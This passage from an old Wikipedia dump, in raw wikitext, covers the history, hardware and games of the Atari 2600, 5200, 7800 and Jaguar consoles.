The programmers of many of Atari's biggest hits grew disgruntled with the company for not crediting game developers. For example, Rick Mauer, the programmer of Atari 2600 ''[[Space Invaders]]'', received no credit and made only $11,000 for his efforts, in spite of the cartridge grossing more than $100 million in sales. Most notably, Warren Robinett, the lead programmer of ''[[Adventure (Atari 2600)|Adventure]]'', in protest against Atari's anonymity policy, hid his name in a secret room within the game.  This was the very first &quot;[[easter egg (virtual)|Easter egg]]&quot;&amp;mdash;a hidden treat or in-joke&amp;mdash;a practice which continues in software development to this day. Many other programmers left the company and formed their own independent software companies. The most prominent and longest-lasting of these third-party developers was [[Activision]], founded in 1980, whose titles quickly became more popular than those of Atari itself. Atari attempted to block third-party development for the 2600 in court but failed, and soon other publishers, such as [[Imagic]] and [[Coleco]], entered the market.  Atari suffered from an image problem when a company named [[Mystique (company)|Mystique]] produced a number of [[pornographic]] games for the 2600.  The most notorious of these, ''[[Custer's Revenge]]'', caused a large number of protests from women's and [[Native Americans in the United States|Native American]] groups.  Atari sued Mystique in court over the release of the game.

Atari continued to scoop up licenses during the shelf life of the 2600, the most prominent of which included ''[[Pac-Man]]'' and ''[[E.T. (video game)|E.T.]]'' Public disappointment with these two titles and the market saturation of bad third-party titles are cited as big reasons for the [[video game crash of 1983]]. Suddenly Atari's growth meant it was losing massive amounts of money during the crash, at one point about $10,000 a day. Warner quickly grew tired of supporting the now-headless company, and started looking for buyers in [[1984]].

=== The console that refused to die ===

[[Image:atari_2600_2.jpeg|thumb|225px|right|Atari 2600 in its 1986 cost-reduced version, also known as the &quot;2600 Jr.&quot;]]
Although not formally discontinued, the 2600 was de-emphasized for two years after Warner's 1984 sale of Atari to [[Commodore Business Machines]] founder [[Jack Tramiel]], who wanted to concentrate on [[home computer]]s. In [[1986]] a new version of the 2600 was released (although it was planned for release two years earlier). The new redesigned version of the 2600, unofficially referred to as the 2600 Jr., featured a smaller cost-reduced form factor with a modernized [[Atari 7800]]-like appearance. The redesigned 2600 was advertised as a budget gaming system (under $50)  that had the ability to run a large collection of classic games. With its introduction came a resurgence in software development both from Atari and from third parties. The Atari 2600 continued to sell in the USA and Europe until [[1990]], and continued to sell in [[PAL]] version in Asian nations until the early 1990s. Over its lifetime, an estimated 25 million units were shipped, and its [[List of Atari 2600 games|video game library]] reportedly numbers more than 900 titles.

At the turn of the millennium, 25 years+ after the launch of the Atari 2600, new [[homebrew (video games)|homebrew games]] for the system are still made and sold by hobbyists, several new titles are available each year, and the console and its old and new games are very popular with collectors because of its significant impact on video game and consumer electronics history and also due to its nostalgic value for many people. In addition, modern Atari 2600 clones remain on the market. One example is the Atari Classics 10-in-1 TV Game, manufactured by [[Jakks Pacific]], which simulates the 2600 console with an NES on a Chip, and includes converted versions of 10 games, into a single Atari-brand-look-a-like joystick with [[composite video]] outputs for connecting directly to modern televisions or VCRs. Another is the [[TV Boy]] which includes 127 games in an enlarged joypad.

Additionally, [[Benjamin Heckendorn]] has created several different versions of a portable 2600, created by cutting apart full-sized vintage units, adding screens and putting them into new enclosures.

==Description==

[[Image:2600IntCartridgeChip07052004.jpg|thumb|right|2600 game cartridge innards: basically a [[printed circuit board|circuit board]] with a [[read-only memory|ROM]] chip (center) and dual-sided 24-pin [[edge connector]] (bottom).]]
The basic layout of the 2600 is fairly similar to most consoles and home computers of the era. The CPU was the [[MOS Technology 6507]], a cut-down version of the 6502, running at 1.19 [[megahertz|MHz]] in the 2600.  The 6507 included fewer memory address pins &amp;mdash; 13 instead of 16 &amp;mdash; and no external interrupts to fit into a smaller 28-pin package.  Smaller packaging was, and still is, an important factor in overall system cost, and since memory was very expensive at the time, the 6507's small 8&amp;nbsp;[[kilobyte|KB]] of maximum external memory space wasn't going to be used up anyway. In fact memory was so expensive they couldn't imagine using up even 4K, and when they got a deal on 24-pin connectors for the cartridge socket, they were only too happy to thereby limit the games to 4K.{{ref|cartridge-socket}} Later games got around this limitation with [[bank switching]].

The console had only 128 [[byte]]s of [[random-access memory|RAM]] for [[runtime]] data that included the [[call stack]] and the state of the game world. There was no [[frame buffer]], as the necessary RAM would have been too expensive. Instead the video device had two [[bitmap]]ped [[sprite (graphics)|sprites]], two one-line &quot;missile&quot; sprites, a one-pixel &quot;ball,&quot; and a &quot;playfield&quot; that was drawn by writing a bit pattern for each line into a register just before the television scanned that line. As each line was scanned, a game had to identify the non-sprite objects that overlapped the next line, assemble the appropriate bit patterns to draw for those objects, and write the pattern into the register. By default the right side of the screen was a duplicate of the left; to control it separately, the software had to modify the patterns as the scan line was drawn. After the controller scannd the last active line, a more leisurely [[vertical blanking interval]] began, during which the game could process input and update the positions and states of objects in the world. Any mistake in timing produced visual artifacts, a problem programmers called ''racing the beam''.

The video hardware gave the 2600 a reputation as one of the most complex machines in the world to program, but those programmers who understood it realized that such direct control over the video picture was also a source of flexibility. For example, although each sprite nominally had only one color, it was possible to color the rows differently by changing the sprite's color as it was drawn. If the five hardware sprites were not enough for a game, a developer could share one sprite among several objects (as with the ghosts in ''Pac-Man'') or draw software sprites, which was only a little more difficult than drawing a fixed playfield. The ''Pitfall!'' screen shot below demonstrates some of these tricks: the player is a multi-color sprite, one sprite is multiplexed for the logs and the scorpion, and the swinging vine is drawn by software. Despite the hardware limitations, many Atari 2600 games had a lot of action on the screen, creating an engaging experience.

==Notable games==
''A comprehensive alphabetical list of games is given in the article [[List of Atari 2600 games]]''
&lt;gallery&gt;
Image:Atlantis_Atari2600.png|''[[Atlantis (video game)|Atlantis]]''&lt;br&gt;[[Imagic]] ([[1982]])
Image:A2600_Breakout.png|''[[Breakout]]''&lt;br&gt;[[Atari]] ([[1978]])
Image:A2600_Combat.png|''[[Combat (video game)|Combat]]''&lt;br&gt;[[Atari]] ([[1977]]) 
Image:A2600_Donkey_Kong.png|''[[Donkey Kong (arcade game)|Donkey Kong]]''&lt;Br&gt;[[Coleco]] ([[1982]])
Image:A2600_E.T..png|''[[E.T. (video game)|E.T.]]''&lt;Br&gt;[[Atari]] ([[1982]])
Image:A2600_Kaboom!.png|''[[Kaboom!]]''&lt;br&gt;[[Activision]] ([[1983]])
Image:KeystoneKapers2600.JPG|''[[Keystone Kapers]]''&lt;br&gt;[[Activision]] ([[1983]])
Image:A2600_Ms.Pac-Man.png|''[[Ms. Pac-Man]]''&lt;br&gt;[[Atari]] ([[1982]])
Image:A2600_Pac-Man.png|''[[Pac-Man]]''&lt;br&gt;[[Atari]] ([[1981]])
Image:A2600_Pitfall.png|''[[Pitfall!]]''&lt;br&gt;[[Activision]] ([[1982]])
Image:A2600_Pole_Position.png|''[[Pole Position]]''&lt;br&gt;[[Atari]] ([[1983]])
Image:A2600_Realsports_Tennis.png|''RealSports Tennis''&lt;br&gt;[[Atari]] ([[1983]])
Image:Solaris_Atari_game_screenshot.JPG|''[[Solaris (Atari 2600)|Solaris]]''&lt;br&gt;[[Atari]] ([[1986]])
Image:A2600_Space_Invaders.png|''[[Space Invaders]]''&lt;br&gt;[[Atari]] 
Image:Swordquest_Title_Screen.png|''[[Swordquest]]''&lt;br&gt;[[Atari]] ([[1982]]&amp;ndash;[[1983]])
Image:A2600_Yars_Revenge.png|''[[Yars' Revenge]]''&lt;br&gt;[[Atari]] ([[1981]])
&lt;/gallery&gt;

== Technical specifications ==

===Console hardware===
* CPU: [[MOS Technology 6507]] @ 1.19 MHz
* Audio + Video processor: [[Television Interface Adapter|TIA]]. 160 x ~192 [[pixel]], 128 colors (16 on screen), 2 channel mono sound.
* RAM (within a [[MOS Technology 6532|MOS Technology RIOT]] chip): 128 [[byte]]s (plus up to 256 [[byte]]s built into the game cartridges)
* ROM (game cartridges):&amp;nbsp;&amp;nbsp;4 [[kilobyte|KB]] maximum capacity (32 KB+ with [[bank switching|paging]])
* Input (controlled by MOS RIOT):
** Two screwless [[DE-9 connector|DE-9]]{{ref|de9-ports}} controller ports, for single-button [[joystick]]s, [[paddle (game controller)|paddle]]s, &quot;[[trackball|trakball]]s&quot;, &quot;driving controllers&quot;, 12-key &quot;keyboard controllers&quot; (0&amp;ndash;9, #, and *) and third party controllers with additional functions
** Six switches (original version): Power on/off, TV signal (B/W or Color), Difficulty for each player (called A and B), Select, and Reset. Except for the power switch, games could (and did) assign other meanings to the switches. On later models the difficulty switches were miniaturized and moved to the back of the unit.
* Output: [[RF modulator|B/W or Color TV]] picture and sound signal through [[RCA connector]] ([[NTSC]], [[PAL]] or [[SECAM]], depending on region; game cartridges are exchangeable between [[NTSC]] and [[PAL]]/[[SECAM]] machines, but this will result to wrong or missing colors and often a rolling picture.)

===Third-party peripherals===
* [[Starpath Supercharger]], a cartridge with a [[compact audio cassette|cassette]] player connector, giving 6 1/8 [[kilobyte|KB]] storage capacity

* [[Gameline]] Master Module, a modem allowing downloads of games from an extensive catalog which could be playable for a limited amount of time.

==Notes==
# {{note|plug-in-carts}} The first game console to use exchangeable plug-in cartridges was the [[Fairchild Channel F]]; however, that machine did rather dismally in the market. Thus, the Atari 2600 was the console which made the plug-in concept popular among the game playing public.
# {{note|cartridge-socket}} The cartridge connector's 24 pins were allocated to one supply voltage line, two ground lines, 8 data lines, and 13 address lines. However, the uppermost address line was used as a so-called [[chip select]] for the cartridge's ROM chip, leaving only 12 address lines for the chip's game program. Thus, without special &quot;hardware tricks&quot; built into the cartridge, an Atari 2600 game could occupy a maximum address space of 4K.
# {{note|de9-ports}} The screwless [[DE-9 connector|DE-9]] controller ports subsequently became the mechanical/electrical [[de facto]] standard for game controllers in the 8-bit and early 16-bit era, and was used in most subsequent Atari and Commodore consoles and home computers, among many others.

==See also==
*[[List of Atari 2600 games]]
*[[Atari 2000]]
*[[Atari 2700]]
*[[Atari 2800]]
*[[Atari 5200]]
*[[Atari 7800]]
*[[Coleco Gemini]] a clone by [[Coleco]]
*[[Intellivision]] ''System Changer'', a clone by [[Mattel]]
*[[TV Games]]
*[[TV Boy]] a clone, by Systema.

== References ==
{{Dedicated video game consoles}}
* Perry, Tekla; Wallich, Paul. &quot;Design case history: the Atari Video Computer System&quot;. ''[[IEEE Spectrum]]''. March 1983.

== External links ==
* [http://www.atarimuseum.com/videogames/consoles/2600/Atari_case_history.html Design case history: the Atari Video Computer System] &amp;ndash; The referenced article by Perry and Wallich
* [http://www.retro-style.co.uk/rarityguide.htm Online Atari 2600 cart frequency guide]
* [http://www.ataritimes.com/2600/index.html Atari Times, 2600]
* [http://www.emucamp.com/vgee/2600/2600faq.htm Atari 2600/5200/7800 FAQ]
* [http://www.atarieage.com Atari Age]
* [http://www.mobygames.com/browse/games/atari-2600/list-games/ MobyGames information on the Atari 2600]
* [http://www.consoledatabase.com Console Database]
* [http://www.oreillynet.com/lpt/a/4849 Inside the Homebrew Atari 2600 Scene]
* [http://www.atarimuseum.com/articles/joedecuir.html Interview with Joe Decuir] *
* [http://www.jakkstvgames.com/ Jakks Pacific] &amp;ndash; Makers of a modern Atari 2600 clone
* [http://www.atariace.com/atari/systems.php Atari Ace] &amp;ndash; Refurbisher of classic Atari systems
* [http://www.thedoteaters.com/play3sta1.htm Article at The Dot Eaters] &amp;ndash; An extensive history of the Atari VCS/2600
* [http://www.alienbill.com/2600/101/docs/stella.html Unofficial Stella Programmer's Guide]

(* Joe Decuir was one of the designers of the Atari 2600 and the [[Atari 8-bit family|Atari 400/800]] SIO bus. Later he has worked on the design of [[Universal Serial Bus|USB]]. )

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  <page>
    <title>Atari 5200</title>
    <id>2780</id>
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      <id>41858162</id>
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        <username>Wvoutlaw2002</username>
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      <text xml:space="preserve">{{CVG system| title = Atari 5200
|logo =
|image = [[Image:atari 5200 system.jpg|250px|Atari 5200 System]]
|manufacturer = [[Atari]]
|type = [[Video game console]]
|generation = [[History of video games (second-generation systems)|Second generation]]
|lifespan = [[1982]]
|media = [[Cartridge]]
|onlineservice = 
|topgame = 
}}

The '''Atari 5200''' is a [[video game console]] introduced in [[1982]] by [[Atari]]. It was created to compete with the [[Mattel Intellivision]], but it also competed with the [[Colecovision]] shortly after the 5200's release.  In some ways, it was both technologically superior and more cost efficient than any console available at that time.

The Atari 5200 was in essence an [[Atari 400]] computer without a [[Computer keyboard|keyboard]]. This made for a powerful, proven design which Atari could quickly bring to market. The system featured many innovations like the first automatic TV switchbox, allowing it to automatically switch from regular TV viewing to the game system signal when the system was activated.

The initial release of the system featured four controller ports, where all other systems of the day had only two ports.  The system also featured a revolutionary new controller with an analog [[joystick]], numeric keypad, two fire buttons on both sides of the controller and game function keys for Start, Pause, and Reset. 

The unusual design of the analog joystick, which used a weak rubber sleeve, rather than springs, to provide centering, proved to be ungainly and unreliable, alienating many consumers. The joysticks quickly became the [[achilles heel]] of the system due to their combination of overly complex mechanical design with a very low cost internal flex circuit system.

The Atari 5200 also suffered from its software incompatibility with the [[Atari 2600]], though an adapter was later released in [[1983]] allowing it to play all [[Atari 2600]] games, using the more reliable controllers native to that system. At the time, the concept of upgrading obsolete video game systems for next-generation video game systems was foreign to most people (a quote from G4TV's &quot;[[Icons (TV series)|Icons]]&quot; : &quot;I've had the same record player for 25 years. I've had the same television for 25 years. Now you're telling me I have to trade in my old game system for this new game system?&quot;).

Another problem was the lack of attention that Atari gave to the console; most of its resources went to the already over-saturated Atari 2600. While the 5200 did garner a strong cult following with its library of high quality games, it faced an uphill battle competing with the [[Colecovision]]'s head start and a stuttering economy. But the question of which system was superior became moot. The CEOs of both companies became motivational speakers when the [[video game crash of 1983|game market crashed]] in 1983, killing off both systems in their prime.

In its prototype stage, the Atari 5200 was originally called the &quot;Atari Video System X (Advanced Video Computer System)&quot;, and it was code-named PAM (PAM stood for Personal Arcade Machine).

== Screenshot gallery ==
&lt;gallery&gt;
Image:A5200_PacMan.png|[[Pac-Man]]&lt;br&gt;[[Atari]] ([[1983]])
Image:A5200_Dig_Dug.png|[[Dig Dug]]&lt;br&gt;[[Atari]] ([[1983]])
Image:A5200_Jungle_Hunt.png|[[Jungle Hunt]]&lt;br&gt;[[Atari]] ([[1983]])
Image:A5200_RealSports_Baseball.png|RealSports Baseball&lt;br&gt;[[Atari]] ([[1983]])
Image:A5200_PitfallII.png|[[Pitfall II]]&lt;br&gt;[[Activision]] ([[1984]])
Image:A5200_Zaxxon.png|[[Zaxxon]]&lt;Br&gt;[[Sega]] ([[1984]])
Image:A5200_Ballblazer.png|[[Ballblazer]]&lt;Br&gt;[[Atari]]/[[LucasArts|Lucasfilm Games]] ([[1986]])
Image:A5200_Rescue_On_Fractalus.png|[[Rescue on Fractalus]]&lt;Br&gt;[[Atari]]/[[LucasArts|Lucasfilm Games]] ([[1986]])
&lt;/gallery&gt;

==Technical specifications==
{{Dedicated video game consoles}}
*Dual CPUs: [[MOS Technology 6502|custom 6502]]C @ 1.79 MHz (NOT a 65c02) and [[ANTIC]].
*Support Hardware: 2 custom [[VLSI]] chips.
*Maximum Screen Resolution:  320x192 resolution, 16 (out of 256) on-screen colors per scan line.  Palette can be changed at every scan line using [[ANTIC]] display list interrupts, allowing all 256 colors to be displayed at once. 
*Graphics: [[ANTIC]] and [[GTIA]] 
*Sound: 4-channel sound via the [[POKEY]] chip which also handles keyboard scanning, serial I/O, high resolution interrupt capable timers (single cycle accurate), and random number generation.
*RAM: 16KB
*ROM: 32KB ROM window for standard game cartridges, expandable using [[bank switching]] techniques.  2KB onboard BIOS for system startup and interrupt routing.

==See also==
*[[List of Atari 5200 games]]
*[[Atari 8-bit family]]
*[[Atari 2600]]
*[[Atari 7800]]

==External links==

* [http://www.thedoteaters.com/play3sta5.htm The Dot Eaters entry] detailing the 5200 and its games
* [http://www.atariage.com AtariAge]

[[Category:Atari consoles|5200]]
[[Category:Second-generation video game consoles]]

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  <page>
    <title>Atari 7800</title>
    <id>2781</id>
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      <timestamp>2006-03-03T01:33:48Z</timestamp>
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        <username>DrBob</username>
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      <comment>Reverted edits by [[Special:Contributions/Ultrogonic|Ultrogonic]] ([[User talk:Ultrogonic|talk]]) to last version by 83.160.24.25</comment>
      <text xml:space="preserve">{{CVG system| title = Atari 7800
|logo = [[Image:7800.gif|Atari 7800 logo]]
|image = [[Image:atari 7800 system.PNG|300px|Atari 7800 System]]
|manufacturer = [[Atari]]
|type = [[Video game console]]
|generation = [[History of video games (8-bit era)|8-bit era]]
|lifespan = June [[1984]] ([[test market]]) &lt;br&gt; Winter [[1986]] ([[United States]])
|media = [[Cartridge (electronics)|Cartridge]]
|onlineservice =
|topgame = 
}}
The '''Atari 7800''' is a [[video game console]] released by [[Atari]] in [[1986]] (a [[test market]] occurred in June 1984). The 7800 was designed to replace the unsuccessful [[Atari 5200]], and re-establish Atari's market supremacy against [[Intellivision]] and [[Colecovision]]. With this system, Atari addressed all the shortcomings of the Atari 5200: it had simple digital [[joystick]]s; it was almost fully backwards compatible with the [[Atari 2600]]; and it was affordable (it was originally priced at $140 USD).

==Summary==
The 7800 was the first game system from Atari which was designed by an outside company ([[General Computer Corporation|GCC]]) (future consoles designed outside the company were the [[Atari Lynx]] and the [[Atari Jaguar]]). The system was designed to be upgraded to a fully-fledged home computer—a [[computer keyboard|keyboard]] was developed, and the keyboard had an expansion port (which was the SIO port from [[Atari 8-bit family|Atari's 8-bit computer line]]) for the addition of peripherals like [[disk drive]]s and [[computer printer|printer]]s. (This should not be taken to imply that this computer expansion would have allowed the 7800 to run programs designed for Atari's computers, as the two architectures were entirely different.)  GCC had also designed a 'high score cartridge,' a [[Battery (electricity)|battery]]-backed [[Random Access Memory|RAM]] cart designed for storing game scores. Atari manufactured none of these accessories, and after the initial production run they also eliminated the expansion port. In 1987, the [[Atari XEGS]] was released and it came with a [[light gun]], called the [[XG-1]]. The XG-1 was fully compatible with the 7800 and the 2600, and Atari released four games on the 7800 that utilized this peripheral.

The 7800 was test-marketed in [[southern California]] in June of 1984. One month later, [[Warner Communications]] sold Atari to [[Jack Tramiel]], who did not want to build a video game console. He pulled the plug on all projects related to video games and decided to focus on Atari's existing computer line in order to begin development of the new 16-bit computer line (which appeared as the [[Atari ST]]). The 7800 was re-introduced in winter [[1986]] after the success of the [[Nintendo Entertainment System]] proved that the [[Computer and video games|video game]] market was still viable.  Unfortunately, by the time the 7800 made it to market, the NES had 90% of the market cornered and the rival [[Sega Master System]] had most of what was left.

The 7800's technical superiority is still debated today. The architecture is essentially just an [[Atari 2600]] with a slightly better CPU and an advanced graphics chip (MARIA). While the system could handle far more moving objects on screen (up to 100) than any of its competitors, its audio capabilities were limited due to lack of board space. The designers allowed games (notably ports from the [[Atari 8-bit family|Atari 400/800]] computer line) to include a [[Atari POKEY|POKEY]] audio chip in the cartridge. Only two games, [[Ballblazer]] and [[Commando (video game)|Commando]] used the POKEY chip. The 7800 was also more difficult to program than other systems available at the time, though this was tempered by the fact that many game programmers at the time were already well versed in the 2600.

== Aftermath ==
The 7800 faced the severe software drought that would become the mark of all Atari consoles sold after the [[video game crash of 1983|video game crash]]. Relatively few titles were released by Atari, many of them unpolished and lacking in features, or even games that already were in previous Atari systems. And there was virtually no effort by Atari to recruit [[video game developer|third party developers]], aside from a few titles from [[Absolute Entertainment|Absolute]], [[Activision]], and [[Froggo]].

==Technical specifications==

* CPU: Custom [[MOS Technology 6502|6502C]]
** Speed: 1.79 MHz, drops to 1.19 MHz when the TIA or RIOT chips are accessed
** (note: This is Atari's custom 6502 which can be halted to allow other devices to control the bus)
* RAM: 4 KB
* ROM: built in 4K BIOS ROM, 48K Cartridge ROM space without bankswitching
* Graphics: MARIA custom graphics controller, 320x200 resolution with 256 colors.
** Graphics clock: 7.16 MHz
* I/O: Joystick and console switch IO handled byte 6532 RIOT and TIA
* Ports: 2 Joystick ports, 1 Cartridge port, 1 expansion connector, Power in, RF output
* Sound: TIA custom sound chip, same as the 2600

==System revisions==
Prototypes:
*Atari 3600 - original model number
*Atari CX-9000 Video Computer System

Production:
*Atari CX7800 - Vastly modified and enhanced 2600 model. Two joystick ports on lower front panel. New chipset (except sound chip; pokey chips could be added to carts). Side expansion port for upgrades and computer add ons. Bundled accessories included two CX24 ProLine joysticks AC Adapter, switchbox, RCA connecting cable, and Pole Position II cartridge.
*Atari CX7800 - Second Revision. Slightly revised mother board, added an addional timing circuit. Expansion port connector removed from mother board but is still etched. Shell has indentation of where expansion port was to be.
*Atari CX7800 - Third Revision. As above but only a small &quot;blemish&quot; mark on shell. 

== Screenshots ==
&lt;center&gt;&lt;gallery&gt;
Image:A7800_Dig_Dug.png|[[Dig Dug]] &lt;br&gt; [[Atari]] ([[1986]])
Image:A7800_Joust.png|[[Joust]] &lt;br&gt; [[Atari]] ([[1986]])
Image:A7800_Pole_Position_II.png|Pole Position II&lt;br&gt; [[Atari]] ([[1986]])
Image:A7800_Winter_Games.png|Winter Games &lt;br&gt; [[Atari]] ([[1987]])
Image:A7800_Donkey_Kong.png|[[Donkey Kong (arcade game)|Donkey Kong]]&lt;br&gt; [[Atari]] ([[1988]])
Image:A7800_Tower_Toppler.png|Tower Toppler &lt;br&gt; [[Atari]] ([[1988]])
Image:A7800_Super_Huey.png|Super Huey &lt;br&gt; [[Atari]] ([[1989]])
Image:A7800_Basketbrawl.png|Basketbrawl &lt;br&gt; [[Atari]] ([[1990]])
&lt;/gallery&gt;&lt;/center&gt;

More screenshots can be found in the [[Atari 7800/Screenshots|Screenshot Gallery]].

==External links==
*[http://www.atari7800.com Atari7800.com Institute For Advanced Atari Gaming Studies - Atari History Library &amp; Web Resource]
*[http://www.atariage.com/7800/faq/?SystemID=7800 Atari 7800 FAQ]
*[http://www.thedoteaters.com/play3sta5.htm The Dot Eaters entry] featuring the 7800 and its games

==See also==
{{Dedicated video game consoles}}
* [[List of Atari 7800 games]]
* [[List of Atari 2600 games]]
* [[Atari 2600]]
* [[Atari 5200]]
* [[XG-1|Atari XG-1 Lightgun]]


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    <title>Atari Jaguar</title>
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    <revision>
      <id>41803395</id>
      <timestamp>2006-03-01T21:26:56Z</timestamp>
      <contributor>
        <username>32X</username>
        <id>541756</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{CVG system| title = Atari Jaguar
|logo = [[Image:Jaguar_Logo.gif|100px]]
|image = [[Image:Atarijaguar.jpg|250px|The Atari Jaguar]]
|manufacturer = [[Atari]]
|type = [[Video game console]]
|generation = [[History of video games (32-bit / 64-bit era)|32-bit / 64-bit era]]
|lifespan = November 1993
|media = [[Cartridge (electronics)|Cartridge]], [[CD-ROM]]
|onlineservice =
|topgame = ''[[Alien vs. Predator (Jaguar)|Alien Vs. Predator]]''
}}
The '''Atari Jaguar''' is a [[video game console]] introduced in November 1993 as a powerful next generation platform. It was infamously touted as the &quot;first 64-bit system&quot;. The system eventually wound up as a [[flop|commercial failure]] and prompted Atari to leave the hardware business. 

== History ==
Competing with [[Sega]] and [[Nintendo]]'s 16-[[bit]] consoles, the Jaguar was said to be 64-bit.  Back then, bit width was a big deal in the gaming industry, just as [[Polygon (computer graphics)|polygon]]-pushing power is today.  The Jaguar did not work off of a solitary 64-bit [[central processing unit|processor]], but instead it had a collection of processors with bus widths ranging from 16 to 64 bits.  The bit width of the Jaguar is still a source of considerable debate today, but consensus exists among those who are familiar with the system hardware that, because Jaguar's main data bus and some of the processors are 64-bit, the entire system can be considered 64 bit. It would otherwise be considered a [[History of video games (32-bit / 64-bit era)|32-bit console]].

Nonetheless, it was technically superior to the leading 16-bit consoles at the time.  Unfortunately, this last ditch effort by [[Atari]] to find room in the console market failed. A relatively small number of games were developed for the system, but Atari pulled the plug altogether in 1996.  The Jaguar was a [[Cult following|cult]] success, however, and many games were created by young independent developers.  Jaguar conventions are held to show off rare unfinished Jaguar games that never made it to the shelves. A development company named Songbird Productions still produces games available for sale on the commercial market.

The Atari Jaguar and the [[Atari Lynx]] were the last two [[Atari]] systems to be developed, but because Atari did not want any direct involvement in hardware production, they were produced by outside contractors. In 1990, [[Flare Technology]], a company formed by [[Martin Brennan]] and [[John Mathieson]] with Atari funding, said that not only could they make a console far superior to the [[Sega Genesis]] or the [[Super Nintendo Entertainment System|SNES]], but they could also be cost-effective. Atari immediately agreed and the system was released in November 1993 for a sale price of $249.99, under a $500 million manufacturing deal with [[International Business Machines|IBM]].  The system was initially marketed only in the [[New York City]] and the [[San Francisco Bay]] areas.  A nationwide release followed in early 1994.  

The system was marketed under the slogan &quot;Do the Math&quot; (i.e. 32 bit + 32 bit = 64 bit), claiming superiority over competing 16-bit systems.  Initially, the system sold well, substantially outselling the highly hyped and publicized [[3DO_Interactive_Multiplayer|3DO]], which was also released during the holiday season of 1993. However, the system was eventually considered a failure, due to a perception of the Jaguar having poor games and an overall lack of software developed. The system was difficult to program for as the hardware had a large number of bugs, including one in the memory controller that stopped some of its processors executing code from the system RAM [http://slashdot.org/articles/00/03/02/1430232.shtml#1225535] [http://slashdot.org/articles/00/03/02/1430232.shtml#1225584]. 

The final nail in the coffin was the release of both the [[Sony]] [[PlayStation]] and the [[Sega]] [[Sega Saturn|Saturn]]. In an interview [http://strider.mjjprod.free.fr/toxic15/articles/tramiel.htm], Sam Tramiel, CEO of Atari, also touted that the Jaguar was much more powerful than the Saturn and a little weaker than the PlayStation.  He also predicted the price of the PlayStation to be $500 and said that any price from $250 to $300 would be dumping and that Atari would sue to block sales (they never did).  The baseless comments were selected as #3 in the [http://archive.gamespy.com/articles/june03/dumbestmoments/index22.shtml Top 25 Dumbest Moments in Gaming].

In a last ditch effort to rescue the Jaguar, Atari tried to play down these two consoles by claiming the Jaguar was the only 64-bit system, causing some controversy. (Some contended that the Jaguar's two 64-bit &quot;processors&quot; were essentially nothing more than graphics accelerators; its [[Graphics processing unit|GPU]] was only 32-bit and its [[Central processing unit|CPU]] was a 16-bit [[Motorola 68000|68000]].) This advertising push was futile, and production of the Jaguar stopped after Atari purchased [[JT Storage]] in a [[reverse takeover]].

Several peripherals were announced, such as a voice modem and [[Virtual reality|VR]] headset, but the only peripherals released were the [[Atari Jaguar CD]] drive and the JagLink, a simple two-console networking device. Working prototypes of some of the proposed future developments exist (some, such as the Jaguar Voice Modem, in relatively large quantities), and include fully-functional versions of the [[virtual reality|VR]] headset, with infrared head-tracking, and a stereo adaptor to allow connection of the Jaguar to a hi-fi system. See [[Loki (computer)|Loki]] and [[Konix Multisystem]] for early development.

After Atari was bought out by [[Hasbro Interactive]] in the late 1990s, Hasbro released the [[encryption]] coding to the Jaguar, finally opening the doors for enthusiasts and hobby programmers to make their own Jaguar games and software, similar to what has happened with another defunct game system, the [[Sega Dreamcast]]. Several game companies, including Telegames and Songbird Productions, have not only released previously unfinished materials from the Jaguar's past, but also several brand new titles to satisfy the system's cult following.

== Screenshot gallery ==
&lt;gallery&gt;
Image:JAG_Cybermorph.png|''Cybermorph''&lt;Br&gt;[[Atari]] ([[1993]])
&lt;!-- Unsourced image removed: Image:Avp3.jpg|''[[Alien vs Predator]]''&lt;br&gt;[[Atari]]([[1993]]) --&gt;
Image:JAG_Tempest_2000.png|''[[Tempest 2000]]''&lt;Br&gt;[[Atari]] ([[1994]])
&lt;!-- Unsourced image removed: Image:bubsy2.jpg|''[[Bubsy]]''&lt;br&gt;[[Atari]] ([[1994]]) --&gt;
&lt;!-- Unsourced image removed: Image:Ironsold2.jpg|''[[Iron Soldier II]]''for Jag CD&lt;br&gt;[[Atari]]([[1995]]) --&gt;
&lt;!-- Unsourced image removed: Image:Rayman.jpg|''[[Rayman|Rayman]]''&lt;br&gt;[[Ubisoft]]([[1995]]) --&gt;
Image:JAG_Fight_For_Life.png|''Fight For Life''&lt;br&gt;[[Atari]] ([[1995]])
Image:JAG_NBA_Jam_TE.png|''[[NBA Jam|NBA Jam TE]]''&lt;br&gt;[[Acclaim Entertainment|Acclaim]]/High Voltage ([[1995]])
&lt;/gallery&gt;

==Technical specifications==

'''[[Central processing unit|CPUs]]:'''
*&quot;Tom&quot; (contains 3 video-related [[central processing unit|processor]]s), 25.59 [[Megahertz|MHz]]
**[[Graphics processing unit]] (GPU) &amp;ndash; 32-[[bit]] [[RISC]] architecture, 4K internal cache, provides wide array of graphic effects
**64-bit [[object (computer science)|object]] processor &amp;ndash; programmable; can behave as a variety of graphic architectures
**64-bit [[blitter]] processor &amp;ndash; high speed logic operations, [[z-buffering]] and [[Gouraud shading]]
**64-bit [[Dynamic random access memory|DRAM]] controller (not a processor)
*&quot;Jerry&quot; , 26.6 [[Megahertz|MHz]]
**Digital Signal Processor &amp;ndash; 32-[[bit]] [[RISC]] architecture, 8k internal cache
**CD-quality sound (16-bit stereo)
***Number of sound channels limited by software
***Two DACs (stereo) convert digital data to analog sound signals
***Full [[Stereophonic sound|stereo]] capabilities
**Wavetable synthesis, FM synthesis, FM Sample synthesis, and AM synthesis
**A clock control block, incorporating timers, and a UART
**Joystick control

*[[Motorola]] 68000 (processor #5)
**General purpose control processor, 13.295 [[Megahertz|MHz]]

'''Other Jaguar features:'''
*[[Random access memory|RAM]]: 2[[Megabyte|MB]]
*Storage: [[Cartridge (electronics)|Cartridge]] &amp;ndash; up to 6MB
*Support for ComLynx [[Input/output|I/O]]

==See also==
{{Dedicated video game consoles}}
*[[List of Atari Jaguar games]]
*[[Atari Panther]]
*[[Atari Jaguar II]]
*[[Atari Jaguar CD]]

==External links==
* [http://www.ataritimes.com/jaguar/index.html Atari Times, Jaguar] - Covering the Atari Jaguar!
* http://dmoz.org/Games/Video_Games/Console_Platforms/Atari/Jaguar_64/
* Jaguar FAQ: http://www.digiserve.com/eescape/showpage.phtml?page=a2
* [http://www.atari-jaguar.com/ Atari JagFest Guide]
* http://www.atari-jaguar64.de/
* [http://strider.mjjprod.free.fr/toxic15/articles/tramiel.htm Sam Trameil interview]
&lt;!-- Backup link, lots of ads: * [http://www.geocities.com/archdukeadvice/atari.html Sam Trameil interview] --&gt;
[[Category:Atari consoles|Jaguar]]
[[Category:Fifth-generation video game consoles]]
[[Category:Computer and video game flops]]

